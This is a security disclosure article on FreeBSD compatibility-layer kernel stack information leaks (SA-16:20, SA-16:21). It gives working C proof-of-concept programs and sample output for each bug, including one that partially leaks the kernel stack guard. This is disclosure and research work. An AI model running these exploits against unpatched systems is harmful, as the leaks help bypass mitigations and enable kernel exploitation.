-
Notifications
You must be signed in to change notification settings - Fork 10
/
Copy pathcompat-info-leaks.html
571 lines (452 loc) · 17.4 KB
/
compat-info-leaks.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0">
<link rel="stylesheet" type="text/css" href="css/core.css" />
<link rel="stylesheet" type="text/css" href="css/prism.css" />
<title>Analysis of stack disclosure vulnerabilities in FreeBSD compatibility layers</title>
</head>
<body>
<div class="page">
<div class="container">
<div class="header">
<a href="contact.html" class="header-element">
Contact
</a>
<a href="about.html" class="header-element">
About
</a>
<a href="articles.html" class="header-element">
Articles
</a>
<a href="index.html" class="header-element">
Home
</a>
</div>
<h1>Analysis of stack disclosure vulnerabilities in FreeBSD compatibility layers</h1>
<span class="date">Initial publication: May 31st, 2016</span>
<hr>
<h2>Introduction</h2>
<p>
Arguably one of FreeBSD's most renowned features is its compatibility layers. In particular, FreeBSD provides compatibility layers for <a href="https://www.freebsd.org/doc/handbook/linuxemu.html">32-bit Linux binaries</a> and for legacy <a href="https://en.wikipedia.org/wiki/Berkeley_Software_Distribution#4.3BSD">4.3BSD</a> software. These are usually enabled by <a href="https://www.freebsd.org/doc/handbook/kernelconfig-building.html">building a custom kernel</a> with the <code>COMPAT_LINUX32</code> and <code>COMPAT_43</code> configuration options, however the Linux compatibility layer is also implemented as a separate kernel module, which can be loaded at runtime instead (<code>kldload linux</code>).
</p>
<p>
I have discovered multiple information leak vulnerabilities in the implementations of these compatibility layers, which allow an unprivileged user to leak a large amount of potentially sensitive, uninitialised stack data. These vulnerabilities have been assigned <a href="https://www.freebsd.org/security/advisories/FreeBSD-SA-16:20.linux.asc">SA-16:20</a> and <a href="https://www.freebsd.org/security/advisories/FreeBSD-SA-16:21.43bsd.asc">SA-16:21</a> by the <a href="https://www.freebsd.org/security/reporting.html">FreeBSD Security Team</a>. A commit reference for the patch of these bugs may be found <a href="https://github.com/freebsd/freebsd/commit/a0c5a05de8c90bcf66b7d5f1a3beb895cc5e05f6">here</a>.
</p>
<p>
In this article I will give a quick explanation of each bug I found, along with some PoC code, and will then demonstrate the impact of this type of vulnerability by using one of the bugs to partially leak the stack guard.
</p>
<p>
All details and code excerpts for this article have been taken from FreeBSD 10.2-RELEASE (amd64), however, the vulnerabilities are present up to version 10.3 as well.
</p>
<br>
<h2><code>TIOCGSERIAL</code></h2>
<p>
The first vulnerability resides in the <code>TIOCGSERIAL</code> command of the Linux compatibility layer's <code>ioctl</code> handler for virtual terminals. This function only partially initialises contents of the <code>lss</code> struct before copying it to userland.
</p>
<p>
<code><a href="https://github.com/freebsd/freebsd/blob/release/10.2.0/sys/compat/linux/linux_ioctl.c#L920">sys/compat/linux/linux_ioctl.c</a></code>:
</p>
<pre><code class="language-c">static int
linux_ioctl_termio(struct thread *td, struct linux_ioctl_args *args)
{
struct termios bios;
struct linux_termios lios;
struct linux_termio lio;
cap_rights_t rights;
struct file *fp;
int error;
error = fget(td, args->fd, cap_rights_init(&rights, CAP_IOCTL), &fp);
if (error != 0)
return (error);
switch (args->cmd & 0xffff) {
...
case LINUX_TIOCGSERIAL: {
struct linux_serial_struct lss;
lss.type = LINUX_PORT_16550A;
lss.flags = 0;
lss.close_delay = 0;
error = copyout(&lss, (void *)args->arg, sizeof(lss));
break;
}
...
}
fdrop(fp, td);
return (error);
}</code></pre>
<br>
<p>
By looking at the declaration of this struct type, it is immediately obvious that there is an issue.
</p>
<p>
<code><a href="https://github.com/freebsd/freebsd/blob/release/10.2.0/sys/compat/linux/linux_ioctl.c#L353">sys/compat/linux/linux_ioctl.c</a></code>:
</p>
<pre><code class="language-c">struct linux_serial_struct {
int type;
int line;
int port;
int irq;
int flags;
int xmit_fifo_size;
int custom_divisor;
int baud_base;
unsigned short close_delay;
char reserved_char[2];
int hub6;
unsigned short closing_wait;
unsigned short closing_wait2;
int reserved[4];
};</code></pre>
<br>
<p>
Only the <code>type</code>, <code>flags</code>, and <code>close_delay</code> members of the struct are initialised before it is copied to userland; all other members will contain uninitialised stack data. In total, this command allows us to leak <code>50</code> bytes.
</p>
<br>
<h3>PoC</h3>
<p>
The following PoC code demonstrates triggering the <code>TIOCGSERIAL</code> bug, and displaying the leaked kernel memory; it needs to be compiled as a 32-bit Linux binary.
</p>
<pre><code class="language-c">#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/serial.h>
static void hexDump(const void *data, size_t size) {
size_t i;
for(i = 0; i < size; i++) {
printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
}
printf("\n");
}
int main(void) {
struct serial_struct lss;
size_t leaked;
int fd = open("/dev/ttyv0", 0);
if(fd == -1) {
perror("open");
exit(1);
}
int r = ioctl(fd, TIOCGSERIAL, &lss);
if(r == -1) {
perror("ioctl");
exit(1);
}
printf(" [+] Total size: %zu\n", sizeof(lss));
leaked = sizeof(lss);
printf(" [+] Contents:\n");
hexDump(&lss, sizeof(lss));
#define initialised(member) printf("0x%02zx: initialised member `%s` (%zu)\n",\
offsetof(struct serial_struct, member), #member, sizeof(lss.member));\
leaked -= sizeof(lss.member);
initialised(type);
initialised(flags);
initialised(close_delay);
printf(" [+] Total bytes leaked: %zu\n", leaked);
return 0;
}</code></pre>
<br>
<p>
Sample output:
</p>
<pre><code> [+] Total size: 60
[+] Contents:
04 00 00 00 00 FE FF FF A0 80 5D 02 00 F8 FF FF
00 00 00 00 00 FE FF FF 7B E3 8F 80 FF FF FF FF
00 00 2E 00 00 FE FF FF 28 39 2E 00 00 FE FF FF
18 39 2E 00 00 FE FF FF 0C 00 00 00
0x00: initialised member `type` (4)
0x10: initialised member `flags` (4)
0x20: initialised member `close_delay` (2)
[+] Total bytes leaked: 50</code></pre>
<br>
<p>
Kernel pointers are clearly contained in the contents of this leaked memory, such as <code>0xffffffff808fe37b</code>.
</p>
<br>
<h2><code>sysinfo</code></h2>
<p>
The next vulnerability also affects the the Linux compatibility layer, and resides in the <code>sysinfo</code> system call implementation. This function only partially initialises contents of the <code>syinfo</code> struct before copying it to userland.
</p>
<p>
<code><a href="https://github.com/freebsd/freebsd/blob/release/10.2.0/sys/compat/linux/linux_misc.c#L116">sys/compat/linux/linux_misc.c</a></code>:
</p>
<pre><code class="language-c">struct l_sysinfo {
l_long uptime; /* Seconds since boot */
l_ulong loads[3]; /* 1, 5, and 15 minute load averages */
#define LINUX_SYSINFO_LOADS_SCALE 65536
l_ulong totalram; /* Total usable main memory size */
l_ulong freeram; /* Available memory size */
l_ulong sharedram; /* Amount of shared memory */
l_ulong bufferram; /* Memory used by buffers */
l_ulong totalswap; /* Total swap space size */
l_ulong freeswap; /* swap space still available */
l_ushort procs; /* Number of current processes */
l_ushort pads;
l_ulong totalbig;
l_ulong freebig;
l_uint mem_unit;
char _f[20-2*sizeof(l_long)-sizeof(l_int)]; /* padding */
};
int
linux_sysinfo(struct thread *td, struct linux_sysinfo_args *args)
{
struct l_sysinfo sysinfo;
vm_object_t object;
int i, j;
struct timespec ts;
getnanouptime(&ts);
if (ts.tv_nsec != 0)
ts.tv_sec++;
sysinfo.uptime = ts.tv_sec;
/* Use the information from the mib to get our load averages */
for (i = 0; i < 3; i++)
sysinfo.loads[i] = averunnable.ldavg[i] *
LINUX_SYSINFO_LOADS_SCALE / averunnable.fscale;
sysinfo.totalram = physmem * PAGE_SIZE;
sysinfo.freeram = sysinfo.totalram - cnt.v_wire_count * PAGE_SIZE;
sysinfo.sharedram = 0;
mtx_lock(&vm_object_list_mtx);
TAILQ_FOREACH(object, &vm_object_list, object_list)
if (object->shadow_count > 1)
sysinfo.sharedram += object->resident_page_count;
mtx_unlock(&vm_object_list_mtx);
sysinfo.sharedram *= PAGE_SIZE;
sysinfo.bufferram = 0;
swap_pager_status(&i, &j);
sysinfo.totalswap = i * PAGE_SIZE;
sysinfo.freeswap = (i - j) * PAGE_SIZE;
sysinfo.procs = nprocs;
/* The following are only present in newer Linux kernels. */
sysinfo.totalbig = 0;
sysinfo.freebig = 0;
sysinfo.mem_unit = 1;
return (copyout(&sysinfo, args->info, sizeof(sysinfo)));
}</code></pre>
<br>
<p>
This bug is slightly more subtle because the leaked data hides in the padding bytes of the struct. The total amount of data leaked from this system call is <code>10</code> bytes.
</p>
<br>
<h3>PoC</h3>
<p>
The following PoC code demonstrates triggering the <code>sysinfo</code> bug, and displaying the leaked kernel memory; it needs to be compiled as a 32-bit Linux binary.
</p>
<pre><code class="language-c">#include <stdio.h>
#include <stdlib.h>
#include <sys/sysinfo.h>
static void hexDump(const void *data, size_t size) {
size_t i;
for(i = 0; i < size; i++) {
printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
}
printf("\n");
}
int main(void) {
struct sysinfo info;
sysinfo(&info);
printf(" [+] Leaked data:\n");
hexDump((((char *)&info.procs) + 2), sizeof(short));
hexDump(&info._f, sizeof(info._f));
printf(" [+] %zu bytes total\n", sizeof(short) + sizeof(info._f));
return 0;
}</code></pre>
<br>
<p>
Sample output:
</p>
<pre><code> [+] Leaked data:
00 00
00 A0 06 28 00 00 00 00
[+] 10 bytes total</code></pre>
<br>
<h2><code>ostat</code></h2>
<p>
The final bug affects the 4.3BSD compatibility layer, and resides in the <code>cvtstat</code> function, which is used by the <code>ostat</code> and <code>ofstat</code> system calls. This function only partially initialises contents of the <code>ost</code> struct before copying it to userland.
</p>
<p>
<code><a href="https://github.com/freebsd/freebsd/blob/release/10.2.0/sys/kern/vfs_syscalls.c#L2142">sys/kern/vfs_syscalls.c</a></code>:
</p>
<pre><code class="language-c">int
ostat(td, uap)
struct thread *td;
register struct ostat_args /* {
char *path;
struct ostat *ub;
} */ *uap;
{
struct stat sb;
struct ostat osb;
int error;
error = kern_stat(td, uap->path, UIO_USERSPACE, &sb);
if (error != 0)
return (error);
cvtstat(&sb, &osb);
return (copyout(&osb, uap->ub, sizeof (osb)));
}
...
/*
* Convert from an old to a new stat structure.
*/
void
cvtstat(st, ost)
struct stat *st;
struct ostat *ost;
{
ost->st_dev = st->st_dev;
ost->st_ino = st->st_ino;
ost->st_mode = st->st_mode;
ost->st_nlink = st->st_nlink;
ost->st_uid = st->st_uid;
ost->st_gid = st->st_gid;
ost->st_rdev = st->st_rdev;
if (st->st_size < (quad_t)1 << 32)
ost->st_size = st->st_size;
else
ost->st_size = -2;
ost->st_atim = st->st_atim;
ost->st_mtim = st->st_mtim;
ost->st_ctim = st->st_ctim;
ost->st_blksize = st->st_blksize;
ost->st_blocks = st->st_blocks;
ost->st_flags = st->st_flags;
ost->st_gen = st->st_gen;
}</code></pre>
<br>
<p>
This bug leaks a total of <code>4</code> bytes in the padding of the struct.
</p>
<br>
<h3>PoC</h3>
<p>
The following PoC code demonstrates triggering the <code>ostat</code> bug, and displaying the leaked kernel memory; it can be compiled on FreeBSD using the default <code>clang</code> compiler.
</p>
<pre><code class="language-c">#include <stdio.h>
#include <unistd.h>
int main(void) {
char oub[88] = { 0 };
syscall(38, ".", &oub);
printf(" [+] Leaked data:\n");
printf("0x%02hhx 0x%02hhx\n", oub[2], oub[3]);
printf("0x%02hhx 0x%02hhx\n", oub[18], oub[19]);
return 0;
}</code></pre>
<br>
<p>
Sample output:
</p>
<pre><code> [+] Leaked data:
0xee 0x0f
0x99 0x02</code></pre>
<br>
<h2>Leveraging contents of leaked data</h2>
<p>
The leaked memory for each vulnerability will contain different kinds of data depending on the stack frame of the previously called functions.
</p>
<p>
For example, we can demonstrate this by using the <code>LINUX_TIOCSSERIAL</code> command, which does nothing but <code>copyin</code> the user supplied struct onto the stack.
</p>
<p>
<code><a href="https://github.com/freebsd/freebsd/blob/release/10.2.0/sys/compat/linux/linux_ioctl.c#L929">sys/compat/linux/linux_ioctl.c</a></code>:
</p>
<pre><code class="language-c"> case LINUX_TIOCSSERIAL: {
struct linux_serial_struct lss;
error = copyin((void *)args->arg, &lss, sizeof(lss));
if (error)
break;
/* XXX - It really helps to have an implementation that
* does nothing. NOT!
*/
error = 0;
break;
}</code></pre>
<br>
<p>
By using this command, and then triggering the <code>TIOCGSERIAL</code> bug, we can observe reminants of the memory we passed to the previous call in our leaked data.
</p>
<pre><code class="language-c">#include <stdio.h>
#include <stdlib.h>
#include <stddef.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/serial.h>
static void hexDump(const void *data, size_t size) {
size_t i;
for(i = 0; i < size; i++) {
printf("%02hhX%c", ((char *)data)[i], (i + 1) % 16 ? ' ' : '\n');
}
printf("\n");
}
int main(void) {
struct serial_struct lss;
int fd = open("/dev/ttyv0", 0);
if(fd == -1) {
perror("open");
exit(1);
}
memset(&lss, 'a', sizeof(lss));
ioctl(fd, TIOCSSERIAL, &lss);
ioctl(fd, TIOCGSERIAL, &lss);
printf(" [+] Contents:\n");
hexDump(&lss, sizeof(lss));
return 0;
}</code></pre>
<br>
<p>
Sample output:
</p>
<pre><code> [+] Contents:
04 00 00 00 00 FE FF FF 90 C1 5D 02 00 F8 FF FF
00 00 00 00 00 FE FF FF 7B E3 8F 80 FF FF FF FF
00 00 61 61 61 61 61 61 28 59 31 00 00 FE FF FF
18 59 31 00 00 FE FF FF 61 61 61 61</code></pre>
<br>
<h2>Targets to leak</h2>
<p>
For most modern operating systems, these kinds of info leaks are usually used to obtain kernel addresses, which can then be used to calculate the kernel slide, and bypass kernel ASLR. However, since FreeBSD still doesn't support kernel ASLR, I will instead focus on bypassing another exploit mitigation mechanism.
</p>
<p>
We can use these bugs to attempt to leak the stack guard, which is incredibly valuable to an attacker because it can be used to enable exploitation of many kernel stack overflows which would otherwise be dismissed as being unexploitable (<a href="https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=204643#c2">msdosfs_readdir</a> springs to mind).
</p>
<p>
To leak the stack guard, we just need to identify a system call with an appropriate stack frame that lines up the offset of the stack guard with an offset which we can read later.
</p>
<p>
Depending on the exact version and architecture of FreeBSD which you target, different system calls may be suitible for each bug, however, for this article I will just focus on FreeBSD 10.2-RELEASE for amd64.
</p>
<p>
The following PoC code demonstrates leaking <code>2</code> bytes of the stack guard through the <code>sysinfo</code> bug by abusing the stack frame of <code>linux_newuname</code>; it needs to be compiled as a 32-bit Linux binary.
</p>
<pre><code class="language-c">#include <stdio.h>
#include <stdlib.h>
#include <sys/sysinfo.h>
#include <sys/utsname.h>
int main(void) {
struct sysinfo info;
uname(NULL);
sysinfo(&info);
printf(" [+] Partial stack guard leak: 0x%04hX\n", *(short *)(((char *)&info.procs) + 2));
return 0;
}</code></pre>
<br>
<p>
The easiest way to verify the output of the above program is to compare it to the stack guard leaked from a separate vulnerability, such as <code><a href="SETFKEY.html#frame">SETFKEY</a></code>. However, if your system has been patched against this vulnerability, you will have to either dump the stack guard with gdb, or write a custom kernel module.
</p>
<br>
<h2>Summary</h2>
<p>
Whilst the compatibility layers are an undoubtedly useful feature of FreeBSD, you should be aware that by using them, you will always expose your system to an increased attack surface.
</p>
<p>
In this article I provided several examples of obvious info leaks I discovered in these layers, and demonstrated that their impact can be severe if an attacker has identified appropriate stack frames to leak sensitive data, like the stack guard.
</p>
</div>
</div>
<script src="js/prism.js" type="text/javascript"></script>
</body>
</html>